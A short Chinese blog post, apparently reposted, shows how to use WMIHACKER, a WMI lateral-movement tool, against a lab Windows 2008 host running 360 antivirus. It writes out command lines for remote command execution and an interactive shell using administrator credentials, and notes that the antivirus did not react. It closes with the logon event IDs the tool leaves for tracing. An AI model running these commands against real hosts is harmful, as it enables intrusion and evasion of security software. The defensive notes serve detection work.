横向移动工具WMIHACKER

gclome

原文链接：横向移动工具WMIHACKER

WMIHACKER是一款用于远程主机连接工具，通过135端口进行命令执行，执行结果读取以及无需445端口进行文件传输。

具体的介绍自己去看360的介绍吧，下面演示一下它的基本用法。

测试环境：

攻击机：win2008

受害者：win2008 + 360全家桶

使用方法：

执行模式包括/cmd、/shell、/upload、/download分别指执行命令、模拟shell、上传文件、下载文件

/cmd模式中GETRES取1 or 0, 1代表获取命令执行结果，0代表不获取结果，比如执行命令为”echo 1 > .pipetest”这类需要重定向或其他不需要输出的命令选择值应该为0.

测试有命令回显执行方式

1. C:\Users\Administrator\Desktop>cscript //nologo WMIHACKER.vbs /cmd 192.168.0.106
   
2. administrator "abc123!" "ipconfig" 1

复制代码

全程360无反应。

除此之外还有下面的利用方法：

1. cscript wmihacke.vbs /cmd 192.168.0.106 administrator "abc123!" "echo whoami > c:1.txt" 0

复制代码

获得一个交互式shell

1. C:\Users\Administrator\Desktop>cscript //nologo WMIHACKER.vbs /shell 192.168.0.1
   
2. 06 administrator "abc123!"

复制代码

当然其还有上传、下载文件的功能。

使用该工具时会在目标系统上产生4634、4624、4672、4776的登录日志

且会泄漏源地址：

使用该进程进行通信：

溯源时可注重注意该进程、事件活动。总的来说该工具是十分优秀的一款横向工具，且代码写的很优美，方便二开，具体细节有兴趣的可以进行分析。